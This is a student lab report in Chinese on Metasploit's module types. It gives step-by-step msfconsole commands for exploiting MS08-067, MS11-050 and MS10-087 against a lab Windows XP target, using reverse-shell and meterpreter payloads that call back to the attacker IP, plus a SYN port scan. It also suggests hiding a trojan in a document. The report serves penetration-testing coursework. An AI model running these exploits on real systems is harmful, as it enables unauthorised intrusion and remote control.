20145221高其_MSF基礎應用

20145221高其_MSF基礎應用

目錄

概述

MSF的六種模塊

  • Exploit模塊
    • 是利用發現的安全漏洞或配置弱點對遠程目標系統進行攻擊,以植入和運行攻擊載荷,從而得到對遠程目標系統訪問權的代碼組件。
    • 形象點來講就是攻擊模塊
  • Payload模塊
    • 是在滲透成功後促使目標系統運行的一端植入代碼,一般做用是爲滲透攻擊者打開在目標系統上的控制會話鏈接。實際上,該模塊就是計算機集成的針對不一樣操做系統實現shellcode攻擊的ruby代碼。
  • Encoder模塊
    • 針對payload進行編碼,能夠經過多種編碼手段、屢次編碼方式有效的改變payload代碼特徵
    • 不改變payload做用,但能對payload進行加工
  • Aux模塊
    • 可以幫助滲透測試中在進行滲透攻擊以前獲得的目標系統豐富的情報信息,從而發起更具目標性的精準攻擊。
    • 主要包括針對各類網絡服務的掃描和查點、構建虛假服務收集登陸密碼、口令猜想破解、敏感信息嗅探、探查敏感信息泄露、Fuzz測試發掘漏洞、實施網絡協議欺騙等模塊。
  • Post模塊
    • 支持在滲透攻擊取得目標系統遠程控制權以後,在受控系統中進行給各樣的後滲透攻擊動做。
    • 這裏主要指的是攻擊以後可能用到的模塊
  • Nops模塊
    • 是一些對程序運行狀態不會形成任何實質影響的空操做或無關操做指令,最典型的空指令就是空操做,在X86 CPU體系架構平臺上的操做碼是0x90
    • 由於有些代碼返回地址很難確認,因此在實際中有時候會填充一大段空指令,便於快速肯定返回地址的位置

本次實驗環境配置

  • 攻擊機:Kali
  • 靶機:win XP SP3(English)

MS08-067漏洞攻擊

Step1

  • 啓用msf終端:msfconsole
  • 能夠經過:search ms08_067,查找相應的漏洞
  • 找到後,會顯示相應漏洞的模塊,以下圖所示

Step2

  • msfconsole有一個好處,就是每一步的操做均可以提示你後續的步驟,即使不知道指令也能夠經過help來查找
  • 根據上述漏洞的模塊,咱們能夠選擇相應的模塊
    • use exploit/windows/smb/ms08_067_netapi
  • 接下來能夠查看相應的攻擊載荷,首先咱們能夠查看可以使用的載荷
    • show payloads
  • 由於咱們想要獲取靶機的shell,因此能夠選擇以上2種攻擊載荷
    • 如:set payload generic/shell_reverse_tcp
  • 注意:此處的目的是獲取shell,若是想用meterpreter,找到相應的payload並設置便可

Step3

  • 查看配置滲透攻擊所需的配置項
    • show options
  • 經過上述操做,可讓咱們知道有哪些參數須要進行配置
    set LHOST 192.168.42.133    //設置攻擊IP
    set RHOST 192.168.42.222    //設置靶機IP
  • 接下來能夠看看有哪些合適的靶機平臺
    • show targets
    • 設置相應平臺的編號:set target 0
    • 此處不設置也能夠,msf平臺能夠自動幫你從第一個開始搜索知足要求的靶機平臺

Step4

  • 發起滲透攻擊
    • exploit
  • 獲取shell以下圖所示
  • 攻擊成功!

問題思考

  • 最開始用老師的靶機,攻擊時一直提示,會話不能創建,將提示語句進行搜索,發現網上提供的sp3中文簡體版已經把這個漏洞給補了,能夠考慮下英文版的xp
  • 因此在本次實驗中,將靶機改成英文版的xp了,也使得此次成績成功

MS11-050漏洞攻擊

Step1

  • 同上述步驟,第一步,查找相關漏洞信息

Step2

  • 加載相應模塊
    • use windows/browser/ms11_050_mshtml_cobjectelement
  • 找到模塊後,能夠經過info指令查看模塊詳細信息
  • 經過簡單的閱讀不難發現,該模塊針對瀏覽器包括IE七、IE8,符合本次靶機環境

Step3

  • 加載payload
    • set payload windows/meterpreter/reverese_http
    • 這裏採用meterpreter方式獲取權限
  • 設置相應參數,經過show options查看
    set URIPATH ms5221  //設置訪問主頁的URI
    set LHOST 192.168.42.133    //設置攻擊IP
    set LPORT 8443  //設置攻擊端口

Step4

  • 發起滲透攻擊
    • exploit
  • 此時,在靶機中啓動IE 7瀏覽器,訪問連接:http://192.168.42.133:8080/ms5221
  • 與此同時,在攻擊機的MSF終端中,能夠看到以下信息:
  • 在meterpreter接入會話:sessions -i 3
  • 查看系統信息:sysinfo
  • 攻擊成功!

問題思考

  • 由於該漏洞對靶機的系統有要求,除此以外對IE瀏覽器的版本也有要求,因此在攻擊以前確認靶機的瀏覽器爲IE7或8

MS10-087漏洞攻擊

Step1

  • 選取module:
    • use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

Step2

  • 設置合適的payload:
    • set payload windows/exec
    • 注:此處是運行一個可執行文件

Step3

  • 設置相應參數,經過show options查看
    set FILENAME 20145221.rft   //設置生成文件rtf
    set CMD notepad.exe //綁定記事本執行

Step4

  • 發起滲透攻擊
    • exploit
    • 將生成的文件從/root/.msf4/local/20145221.rft拷貝到靶機上,並把格式修改成.doc
  • 雙擊運行,結果被成功綁定到記事本程序

問題思考

  • kali不知道如何打開隱藏的文件夾,因此一時半會沒有找到上述目錄,最後在終端中,直接用cp命令,成功將文件拷貝出來
  • 同時,若是咱們能將該doc關聯木馬軟件,就可使用戶在不知情的狀況下遭受攻擊,具備必定的隱蔽性

輔助模塊

Step1

  • 進入msfconsle後,經過下面相關指令查找輔助模塊
    • show auxiliary
    ack:經過ACK掃描的方式對防火牆上未被屏蔽的端口進行探測;
    ftpbounce:經過FTP BOUNCE攻擊的原理對TCP服務進行枚舉
    syn:使用發送TCP SYN標誌的方式探測開放的端口
    tcp:經過一次完整的TCP連接來判斷端口是否開放
    xmas:一種更爲隱蔽的掃描方式,經過發送FIN,PSH,URG標誌可以躲避一些TCP標記檢測器的過濾
  • 選取相應的moudle,在這裏選擇以下:
    • use auxiliary/scanner/portscan/syn

Step2

  • 設置好相應參數,能夠經過show options來查看
    set RHOSTS 192.168.42.222   //設置掃描目標IP地址
    set THREADS 50  //設置線程數

Step3

  • 啓動:run,掃描結果以下:
  • 此時,咱們也能夠在msf下用nmap的相關指令,對目標主機進行掃描:
    • 經過觀察不難發現,掃描速度更快,而且對每種端口的做用也有了個說明,能弄清楚每一個端口是幹嗎的html

問題思考

  • aux模塊雖然不像exploit那樣直接對靶機進行攻擊,但它是排頭兵,是對成功實現攻擊的很好保障,好比在CTF競賽中,咱們爲了查看靶機的web服務,首先就要對開放端口進行掃描,確認哪一個端口是掛了web的,而後纔有後面的後臺掃描、拖庫、旁註、提權等操做
  • 因此輔助模塊在整個六大模塊中的地位也是舉足輕重的

總結

  • kali上的metasploit滲透測試工具,是一個功能強大內容豐富的工具集,能夠針對系統漏洞、軟件漏洞、服務漏洞進行攻擊,對於每一種攻擊,又有多種攻擊載荷可供使用,對於每種攻擊載荷又可使用編碼器模塊進行加工,因此六大模塊相輔相成,構成了滲透的完美系統
  • 就此次實踐自己來看,許多攻擊仍是有必定成功率的,但部分漏洞比較挑剔,只有在特定的系統環境、特定的觸發條件,纔會被滲透,因此有時爲了驗證某漏洞的存在,還要專門配一個能夠被攻擊的靶機;或者,爲了攻擊成功,不停地尋找更合適的漏洞,這也是本次實踐所花的時間成本所在。
相關文章
相關標籤/搜索